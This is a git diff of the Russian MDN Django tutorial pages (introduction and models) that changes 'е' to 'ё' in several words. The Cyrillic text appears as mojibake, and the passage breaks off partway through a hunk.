<pre class="brush: python notranslate">## filename: views.py
@@ -243,7 +243,7 @@ def index(request):
<ul>
<li><strong>Π€ΠΎΡ€ΠΌΡ‹</strong>: HTML-Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для сбора ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π° сСрвСрС. Django ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ созданиС, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹.</li>
- <li><strong>АутСнтификация ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ</strong>: Django Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π½Π°Π΄Π΅ΠΆΠ½ΡƒΡŽ систСму Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, которая Π±Ρ‹Π»Π° построСна с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ бСзопасности.</li>
+ <li><strong>АутСнтификация ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ</strong>: Django Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π½Π°Π΄Ρ‘ΠΆΠ½ΡƒΡŽ систСму Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, которая Π±Ρ‹Π»Π° построСна с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ бСзопасности.</li>
<li><strong>ΠšΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅:</strong>Β <span id="result_box" lang="ru"><span>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ динамичСского </span></span><span lang="ru"><span>ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ интСнсивно (ΠΈ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅), Ρ‡Π΅ΠΌ обслуТиваниС статичСского содСрТимого.</span> <span>Django обСспСчиваСт Π³ΠΈΠ±ΠΊΠΎΠ΅ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ всю ΠΈΠ»ΠΈ Ρ‡Π°ΡΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ страницы, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π»Π°ΡΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ случаСв, ΠΊΠΎΠ³Π΄Π° это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</span></span></li>
<li><strong>Админ-панСль: </strong>Административная панСль Π²Β DjangoΒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΡ€ΠΈ создании прилоТСния с использованиСм основного каркаса.Β Π­Ρ‚ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ админкой администраторам сайта для создания, рСдактирования ΠΈ просмотра Π»ΡŽΠ±Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° вашСм сайтС.</li>
<li><strong>БСриализация данных (ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ)</strong>: Django ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΈ обслуТиваниС Π²Π°ΡˆΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ‚Π°ΠΊΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… ΠΊΠ°ΠΊ XML ΠΈΠ»ΠΈ JSON. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΡ€ΠΈ создании Π²Π΅Π±-сСрвисов (Π²Π΅Π±-сайтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ слуТат для использования Π΄Π°Π½Π½Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ прилоТСниями ΠΈΠ»ΠΈ сайтами ΠΈ сами Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚) ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ создании Π²Π΅Π±-сайта, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ клиСнтский ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ вСсь Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Π΄Π°Π½Π½Ρ‹Ρ….</li>
@@ -251,7 +251,7 @@ def index(request):
<h2 id="РСзюмС">РСзюмС</h2>
-<p>ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π²Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π² своСм ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ ΠΏΠΎ Django! Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ основныС прСимущСства Django, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎΒ Π΅Π³ΠΎ истории, ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ каТдая ΠΈΠ· основных частСй прилоТСния Django. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ нСсколько Π²Π΅Ρ‰Π΅ΠΉ ΠΎ языкС программирования Python, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ синтаксис списков, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ классов.</p>
+<p>ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π²Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π² своём ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ ΠΏΠΎ Django! Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ основныС прСимущСства Django, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎΒ Π΅Π³ΠΎ истории, ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ каТдая ΠΈΠ· основных частСй прилоТСния Django. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ нСсколько Π²Π΅Ρ‰Π΅ΠΉ ΠΎ языкС программирования Python, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ синтаксис списков, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ классов.</p>
<p>Π’Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΊΠΎΠ΄ Π½Π° Django Π²Ρ‹ΡˆΠ΅, Π½ΠΎ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ клиСнтского ΠΊΠΎΠ΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ срСду Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ для Π΅Ρ‘ запуска. Π­Ρ‚ΠΎ наш ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг.</p>
diff --git a/files/ru/learn/server-side/django/models/index.html b/files/ru/learn/server-side/django/models/index.html
index 4aeb0d64bc..8fa353116b 100644
--- a/files/ru/learn/server-side/django/models/index.html
+++ b/files/ru/learn/server-side/django/models/index.html
@@ -45,14 +45,14 @@ translation_of: Learn/Server-side/Django/Models
<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈΡΡŒ с нашими модСлями ΠΈ полями, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎΠ± ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΡ…. Django позволяСт Π²Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ, ΠΊΠ°ΠΊΒ ΠΎΠ΄ΠΈΠ½ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ (<code>OneToOneField</code>), ΠΎΠ΄ΠΈΠ½ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ (<code>ForeignKey</code>) ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ (<code>ManyToManyField</code>).</p>
-<p>Π”ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° ассоциации UML, привСдённая Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ в этом случаС (Π² Π²ΠΈΠ΄Π΅ Π±Π»ΠΎΠΊΠΎΠ²). Как ΠΈ Π²Ρ‹ΡˆΠ΅, ΠΌΡ‹ создали ΠΌΠΎΠ΄Π΅Π»ΠΈ для ΠΊΠ½ΠΈΠ³ΠΈ (ΠΎΠ±Ρ‰ΠΈΠ΅ свСдСния ΠΎ ΠΊΠ½ΠΈΠ³Π΅), экзСмпляр ΠΊΠ½ΠΈΠ³ΠΈ (статус ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… физичСских ΠΊΠΎΠΏΠΈΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, доступных Π² систСмС) ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°.ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ модСль для ΠΆΠ°Π½Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ / Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ значСния Ρ‡Π΅Ρ€Π΅Π· интСрфСйс администратора. ΠœΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ Π½Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ модСль для BookInstance: status - ΠΌΡ‹ ТСстко Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ значСния (LOAN_STATUS), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ ΠΈΡ… измСнСния. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· ΠΏΠΎΠ»Π΅ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ имя ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΈΠΌΠ΅Π½Π° ΠΈ Ρ‚ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ ΠΈΡ… Ρ‚ΠΈΠΏΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°.</p>
+<p>Π”ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° ассоциации UML, привСдённая Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ в этом случаС (Π² Π²ΠΈΠ΄Π΅ Π±Π»ΠΎΠΊΠΎΠ²). Как ΠΈ Π²Ρ‹ΡˆΠ΅, ΠΌΡ‹ создали ΠΌΠΎΠ΄Π΅Π»ΠΈ для ΠΊΠ½ΠΈΠ³ΠΈ (ΠΎΠ±Ρ‰ΠΈΠ΅ свСдСния ΠΎ ΠΊΠ½ΠΈΠ³Π΅), экзСмпляр ΠΊΠ½ΠΈΠ³ΠΈ (статус ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… физичСских ΠΊΠΎΠΏΠΈΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, доступных Π² систСмС) ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°.ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ модСль для ΠΆΠ°Π½Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ / Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ значСния Ρ‡Π΅Ρ€Π΅Π· интСрфСйс администратора. ΠœΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ Π½Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ модСль для BookInstance: status - ΠΌΡ‹ Тёстко Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ значСния (LOAN_STATUS), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ ΠΈΡ… измСнСния. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· ΠΏΠΎΠ»Π΅ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ имя ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΈΠΌΠ΅Π½Π° ΠΈ Ρ‚ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ ΠΈΡ… Ρ‚ΠΈΠΏΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°.</p>
<p>На Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ зависимости ΠΌΠ΅ΠΆΠ΄Ρƒ модСлями, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΈΡ… <em>ΠΌΠ½ΠΎΠΆΠΈΡ‚Π΅Π»ΠΈ</em>. ΠœΠ½ΠΎΠΆΠΈΡ‚Π΅Π»ΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой числа Π½Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΈ максимум Π΅Π΄ΠΈΠ½ΠΈΡ† ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² этой связи. НапримСр, ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ линия ΠΌΠ΅ΠΆΠ΄Ρƒ ящиками ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ½ΠΈΠ³Π° ΠΈ ΠΆΠ°Π½Ρ€ связаны ΠΌΠ΅ΠΆΠ΄Ρƒ собой. Π¦ΠΈΡ„Ρ€Ρ‹, Π±Π»ΠΈΠ·ΠΊΠΈΠ΅ ΠΊ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΆΠ°Π½Ρ€Π°, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρƒ ΠΊΠ½ΠΈΠ³ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько ΠΆΠ°Π½Ρ€ΠΎΠ² (сколько ΡƒΠ³ΠΎΠ΄Π½ΠΎ), Π° числа Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅ строки рядом с модСлью ΠΊΠ½ΠΈΠ³ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρƒ ΠΆΠ°Π½Ρ€Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ связанных ΠΊΠ½ΠΈΠ³.</p>
<p><img alt="LocalLibrary Model UML - v3" src="https://mdn.mozillademos.org/files/15646/local_library_model_uml.png" style="height: 660px; width: 977px;"></p>
<div class="note">
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΡΡΠ½ΡΡŽΡ‰ΠΈΠΉ, ΠΊΠ°ΠΊ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ. Когда Π²Ρ‹ Π΅Π³ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅, ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊ ΠΌΡ‹ построим ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ Π½Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ Π²Ρ‹ΡˆΠ΅.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΡΡΠ½ΡΡŽΡ‰ΠΈΠΉ, ΠΊΠ°ΠΊ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ. Когда Π²Ρ‹ Π΅Π³ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅, ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊ ΠΌΡ‹ построим ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ Π½Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ Π²Ρ‹ΡˆΠ΅.</p>
</div>
<h2 id="МодСль_для_Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…">МодСль для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…</h2>
@@ -61,7 +61,7 @@ translation_of: Learn/Server-side/Django/Models
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_ΠΌΠΎΠ΄Π΅Π»ΠΈ">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ</h3>
-<p>МодСли ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ <strong>models.py</strong>. Они Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ подклассы <code>django.db.models.Model</code>, ΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ поля, ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·Π°Π½Π° «типичная» модСль, названная <code>MyModelName</code>:</p>
+<p>МодСли ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ <strong>models.py</strong>. Они Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ подклассы <code>django.db.models.Model</code>, ΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ поля, ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·Π°Π½Π° «типичная» модСль, названная <code>MyModelName</code>:</p>
<pre class="notranslate">from django.db import models
@@ -95,18 +95,18 @@ class MyModelName(models.Model):
<h4 id="Поля">Поля</h4>
-<p>МодСль ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ количСство ΠΏΠΎΠ»Π΅ΠΉ любого Ρ‚ΠΈΠΏΠ° - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ прСдставляСт столбСц Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· Π½Π°ΡˆΠΈΡ… Ρ‚Π°Π±Π»ΠΈΡ† Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. КаТдая запись (строка) Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ значСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ поля. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
